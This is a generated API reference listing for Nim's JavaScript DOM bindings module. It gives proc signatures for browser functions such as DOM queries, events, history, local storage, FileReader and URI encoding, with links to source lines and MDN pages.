[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1530) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1530) ``` proc lookupNamespaceURI(n: Node): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1531) ``` proc isDefaultNamespace(n: Node): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1532) ``` proc contains(n: Node): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1533) ``` proc isEqualNode(n: Node): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1534) ``` proc isSameNode(n: Node): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1535) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1535) ``` proc getRootNode(n: Node; options: RootNodeOptions): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1538) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1538) ``` proc getSelection(n: DocumentOrShadowRoot): Selection {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1541) ``` proc elementFromPoint(n: DocumentOrShadowRoot; x, y: float): Element {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1542) ``` proc attachShadow(n: Element): ShadowRoot {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1545) ``` proc assignedNodes(n: HTMLSlotElement; options: SlotOptions): seq[Node] {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1546) ``` proc assignedElements(n: HTMLSlotElement; options: SlotOptions): seq[Element] {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1547) ``` proc createAttribute(d: Document; identifier: cstring): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1550) ``` proc getElementsByName(d: Document; name: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1551) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1551) ``` proc getElementsByTagName(d: Document; name: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1552) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1552) ``` proc getElementsByClassName(d: Document; name: cstring): seq[Element] {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1553) ``` proc insertNode(range: Range; node: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1554) ``` proc getSelection(d: Document): Selection {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1555) ``` proc handleEvent(d: Document; event: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1556) ``` proc open(d: Document) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1557) ``` proc routeEvent(d: Document; event: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1558) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1558) ``` proc write(d: Document; text: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1559) ``` proc writeln(d: Document; text: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1560) ``` proc querySelector(d: Document; selectors: cstring): Element {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1561) ``` proc querySelectorAll(d: Document; selectors: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1562) ``` proc blur(e: Element) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1565) ``` proc click(e: Element) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1566) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1566) ``` proc focus(e: Element) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1567) ``` proc handleEvent(e: Element; event: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1568) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1568) ``` proc select(e: Element) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1569) ``` proc getElementsByTagName(e: Element; name: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1570) ``` proc getElementsByClassName(e: Element; name: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1571) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1571) ``` proc reset(f: FormElement) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1574) ``` proc submit(f: FormElement) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1575) ``` proc checkValidity(e: FormElement): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1576) ``` proc reportValidity(e: FormElement): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1577) ``` proc play(e: EmbedElement) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1580) ``` proc stop(e: EmbedElement) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1581) ``` proc reload(loc: Location) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1584) ``` proc replace(loc: Location; s: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1585) ``` proc back(h: History) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1588) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1588) ``` proc forward(h: History) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1589) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1589) ``` proc go(h: History; pagesToJump: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1590) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1590) ``` proc pushState[T](h: History; stateObject: T; title, url: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1591) ``` proc javaEnabled(h: Navigator): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1594) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1594) ``` proc canShare(self: Navigator; data: cstring): bool {...}{.importcpp.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/Navigator/canShare> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1596) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1596) ``` proc sendBeacon(self: Navigator; url, data: cstring): bool {...}{.importcpp.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1597) ``` proc vibrate(self: Navigator; pattern: cint): bool {...}{.importcpp.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/Navigator/vibrate> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1598) ``` proc vibrate(self: Navigator; pattern: openArray[cint]): bool {...}{.importcpp.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/Navigator/vibrate> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1599) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1599) ``` proc registerProtocolHandler(self: Navigator; scheme, url, title: cstring) {...}{. importcpp.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1600) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1600) ``` proc add(c: ClassList; class: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1603) ``` proc remove(c: ClassList; class: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1604) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1604) ``` proc contains(c: ClassList; class: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1605) ``` proc toggle(c: ClassList; class: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1606) ``` proc getPropertyValue(s: Style; property: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1609) ``` proc removeProperty(s: Style; property: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1610) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1610) ``` proc setProperty(s: Style; property, value: cstring; priority = "") {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1611) ``` proc getPropertyPriority(s: Style; property: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1612) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1612) ``` proc preventDefault(ev: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1615) ``` proc stopImmediatePropagation(ev: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1616) ``` proc stopPropagation(ev: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1617) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1617) ``` proc getModifierState(ev: KeyboardEvent; keyArg: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1620) ``` proc getModifierState(ev: MouseEvent; keyArg: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1623) ``` proc identifiedTouch(list: TouchList): Touch {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1626) ``` proc item(list: TouchList; i: int): Touch {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1627) ``` proc clearData(dt: DataTransfer; format: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1630) ``` proc getData(dt: DataTransfer; format: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1631) ``` proc setData(dt: DataTransfer; format: cstring; data: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1632) ``` proc setDragImage(dt: DataTransfer; img: Element; xOffset: int64; yOffset: int64) {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1633) ``` proc getAsFile(dti: DataTransferItem): File {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1636) ``` proc setSelectionRange(e: InputElement; selectionStart: int; selectionEnd: int; selectionDirection: cstring = "none") {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1639) ``` proc setRangeText(e: InputElement; replacement: cstring; startindex: int = 0; endindex: int = 0; selectionMode: cstring = "preserve") {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1640) ``` proc setCustomValidity(e: InputElement; error: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1641) ``` proc checkValidity(e: InputElement): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1642) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1642) ``` proc slice(e: Blob; startindex: int = 0; endindex: int = e.size; contentType: cstring = "") {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1645) ``` proc now(p: Performance): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1648) ``` proc removeAllRanges(s: Selection) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1651) ``` proc deleteFromDocument(s: Selection) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1652) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1652) ``` proc getRangeAt(s: Selection; index: int): Range {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1653) ``` proc `$`(s: Selection): string {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1655) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1655) ``` proc getItem(ls: LocalStorage; key: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1658) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1658) ``` proc setItem(ls: LocalStorage; key, value: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1659) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1659) ``` proc hasItem(ls: LocalStorage; key: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1660) ``` proc clear(ls: LocalStorage) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1661) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1661) ``` proc removeItem(ls: LocalStorage; key: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1662) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1662) ``` proc setAttr(n: Node; key, val: cstring) {...}{.importcpp: "#.setAttribute(@)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1666) ``` proc decodeURI(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1676) ``` proc encodeURI(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1677) ``` proc escape(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1679) ``` proc unescape(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1680) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1680) ``` proc decodeURIComponent(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1682) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1682) ``` proc encodeURIComponent(uri: cstring): cstring {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1683) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1683) ``` proc isFinite(x: BiggestFloat): bool {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1684) ``` proc isNaN(x: BiggestFloat): bool {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1685) ``` proc newEvent(name: cstring): Event {...}{.importcpp: "new Event(@)", constructor.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1687) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1687) ``` proc getElementsByClass(n: Node; name: cstring): seq[Node] {...}{. importcpp: "#.getElementsByClassName(#)", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1689) ``` proc getBoundingClientRect(e: Node): BoundingRect {...}{. importcpp: "getBoundingClientRect", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1697) ``` proc clientHeight(): int {...}{.importcpp: "(window.innerHeight || document.documentElement.clientHeight)@", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1699) ``` proc clientWidth(): int {...}{.importcpp: "(window.innerWidth || document.documentElement.clientWidth)@", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1701) ``` proc inViewport(el: Node): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1704) ``` proc scrollTop(e: Node): int {...}{.importcpp: "#.scrollTop", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1710) ``` proc scrollTop=(e: Node; value: int) {...}{.importcpp: "#.scrollTop = #", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1711) ``` proc scrollLeft(e: Node): int {...}{.importcpp: "#.scrollLeft", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1712) ``` proc scrollHeight(e: Node): int {...}{.importcpp: "#.scrollHeight", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1713) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1713) ``` proc scrollWidth(e: Node): int {...}{.importcpp: "#.scrollWidth", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1714) ``` proc offsetHeight(e: Node): int {...}{.importcpp: "#.offsetHeight", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1715) ``` proc offsetWidth(e: Node): int {...}{.importcpp: "#.offsetWidth", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1716) ``` proc offsetTop(e: Node): int {...}{.importcpp: "#.offsetTop", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1717) ``` proc offsetLeft(e: Node): int {...}{.importcpp: "#.offsetLeft", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1718) ``` proc newDomException(): DomException {...}{.importcpp: "new DomException()", constructor.} ``` DOM Exception constructor [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1726) ``` proc message(ex: DomException): cstring {...}{.importcpp: "#.message", nodecl.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/DOMException/message> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1728) ``` proc name(ex: DomException): cstring {...}{.importcpp: "#.name", nodecl.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/DOMException/name> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1730) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1730) ``` proc newFileReader(): FileReader {...}{.importcpp: "new FileReader()", constructor.} ``` File Reader constructor [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1733) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1733) ``` proc error(f: FileReader): DomException {...}{.importcpp: "#.error", nodecl.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/error> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1735) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1735) ``` proc readyState(f: FileReader): FileReaderState {...}{.importcpp: "#.readyState", nodecl.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readyState> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1737) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1737) ``` proc resultAsString(f: FileReader): cstring {...}{.importcpp: "#.result", nodecl.} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/result> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1739) ``` proc abort(f: FileReader) {...}{.importcpp: "#.abort()".} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/abort> 